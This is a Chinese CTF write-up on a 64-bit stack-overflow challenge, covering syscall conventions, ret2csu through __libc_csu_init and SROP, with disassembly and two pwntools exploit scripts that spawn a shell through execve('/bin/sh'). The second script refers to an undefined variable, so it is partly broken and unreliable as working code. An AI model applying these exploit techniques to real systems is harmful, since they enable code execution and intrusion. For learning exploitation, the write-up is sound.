这才是第一次接触系统调用的题,只不过当时不知道,现在又做到了,想起来当初接触过。这是以前写的转过来。
这题学到的非常多,接触了一些其它的解题方法
系统调用
-
系统调用:实际上是0x80号中断对应的中断处理程序的子程序。简单来说,在linux系统上,0x80中断是系统调用的统一入口(这里讲的是32位)。某个具体的系统调用是这个中断处理程序的子程序,进入具体某个系统调用是通过内核定义的系统调用号码来实现的。
-
系统调用号:每个系统调用在内核里面都对应一个号码,这个号码是在 /usr/include/i386-linux-gnu/asm/unistd_32.h 中定义的。
简单来说,系统调用是通过某个入口来执行的子程序,执行完之后,返回上层应用程序的过程。32位和64位的系统调用是不同的:
-
32位:
传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器,通过使用int 0x80中断进行系统调用 -
64位:
传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器,系统调用是通过syscall来调用的
接下来看题:
64位,没开Canary,没开PIE
main函数里只调用了vuln(),这里面就是通过系统调用的read(0, rsp+buf, 0x400) 和 write(1, rsp+buf, 0x30),read时rax没赋值为0。
vuln()
.text:00000000004004ED ; =============== S U B R O U T I N E =======================================
.text:00000000004004ED
.text:00000000004004ED ; Attributes: bp-based frame
.text:00000000004004ED
.text:00000000004004ED public vuln
.text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax #使rax为0
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read #read(0,rsp+buf,0x400)
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write #write(1,rsp+buf,0x30)
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
还有一个gadget函数:
.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================
.text:00000000004004D6
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB pop rbp
.text:00000000004004EC retn
.text:00000000004004EC ; } // starts at 4004D6
这里是两个 rax 赋值:
0x38 = 59:sys_execve
0xf = 15:sys_rt_sigreturn
而系统调用execve(“/bin/sh”,0,0),需要这样的布局
rax==59 #系统调用号
rdi==“/bin/sh”
rsi==0 #控制r14来传值
rdx==0 #控制r13来传值
64位传参是用rdi,rsi,rdx从左到右传参的,所以需要控制寄存器的值和/bin/sh的地址。
用 read 输入 /bin/sh,再填充溢出,write 是会打印出 0x30 大小的数据,这里在打印的 0x20 到 0x28 是一个地址,这个地址是栈上面的,所以只要算出这个地址和 binsh 地址的相对偏移即可,也可以直接调试出来。
_libc_csu_init
用这个是因为没有可pop rdx的gadget:
关于__libc_csu_init,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以基本都有这个函数。汇编码如下:
0000000000400540 public __libc_csu_init
.text:0000000000400540 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400540 ; __unwind {.text:0000000000400540 push r15
.text:0000000000400542 push r14
.text:0000000000400544 mov r15d, edi
.text:0000000000400547 push r13
.text:0000000000400549 push r12
.text:000000000040054B lea r12, __frame_dummy_init_array_entry
.text:0000000000400552 push rbp
.text:0000000000400553 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040055A push rbx
.text:000000000040055B mov r14, rsi
.text:000000000040055E mov r13, rdx
.text:0000000000400561 sub rbp, r12
.text:0000000000400564 sub rsp, 8
.text:0000000000400568 sar rbp, 3
.text:000000000040056C call _init_proc
.text:0000000000400571 test rbp, rbp
.text:0000000000400574 jz short loc_400596
.text:0000000000400576 xor ebx, ebx
.text:0000000000400578 nop dword ptr [rax+rax+00000000h]
.text:0000000000400580
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx,1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
.text:00000000004005A4 ; } // starts at 400540.text:00000000004005A4 __libc_csu_init endp
可以看到里面有很多对寄存器的操作,所以能利用这个函数来修改寄存器的值,上面 0x40059A 后面连续 pop rbx,rbp,r12,r13,r14,r15,只用这一段 pop 就可以用栈溢出来控制其内容。
寻址:
syscall,0x400501 和 0x400517 这里两个都可以
EXP:
#_*_coding:utf-8_*_
#/bin/sh
from pwn import *
a=remote('node3.buuoj.cn',27015)
main=0x0004004ED
execve=0x04004E2
pop_rdi=0x4005a3
csu_end=0x40059A
csu_front=0x0400580
sys=0x00400517
#泄露/bin/sh
payloadl1=('/bin/sh\x00').ljust(0x10,"\x00")+p64(main)
a.send(payloadl1)
a.recv(0x20)
sh=u64(a.recv(8))-280 #接收20个字节后的再8个字节才是地址
call_59=sh+0x10 #系统调用号的地址
#getshell
payload2 = '/bin/sh\x00'.ljust(0x10,'a')+p64(execve)
payload2 += p64(csu_end)+p64(0)+p64(1)+p64(call_59)+p64(0)+p64(0)+p64(0)
payload2 += p64(csu_front)
payload2 += 'a'*0x38+p64(pop_rdi)+p64(sh)+p64(sys)
a.sendline(payload2)
a.interactive()
这里是一位大佬的讲解:https://www.cnblogs.com/bhxdn/p/12715671.html
srop
同样也是一种操作寄存器的方法,当可以的gadget无法满足时,以借助signreturn来控制全部的寄存器原理:
- 程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是从用户的栈中弹出寄存器的值,从而控制寄存器的值。
Srop的详细:https://www.jianshu.com/p/ca4a5dacd1a2
上面说了,signreturn的系统调用号是0xf,同样也是通过系统调用后传寄存器的参再然后调用execve来getshell的
EXP:
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
a = remote('node3.buuoj.cn',25702)
csu_front = 0x400580
csu_end = 0x40059A
sigreturn = 0x4004DA
sys = 0x400517
main = 0x4004ED
pop_rdi = 0x4005a3
payload = '/bin/sh\x00'.ljust(0x10,'a') + p64(main)
a.sendline(payload)
a.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
sh = stack_addr - 0x118
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys
payload2 = '/bin/sh'.ljust(0x10,'\x00') + p64(sigreturn) + p64(sys) + str(frame)
a.sendline(payload2)
a.interactive()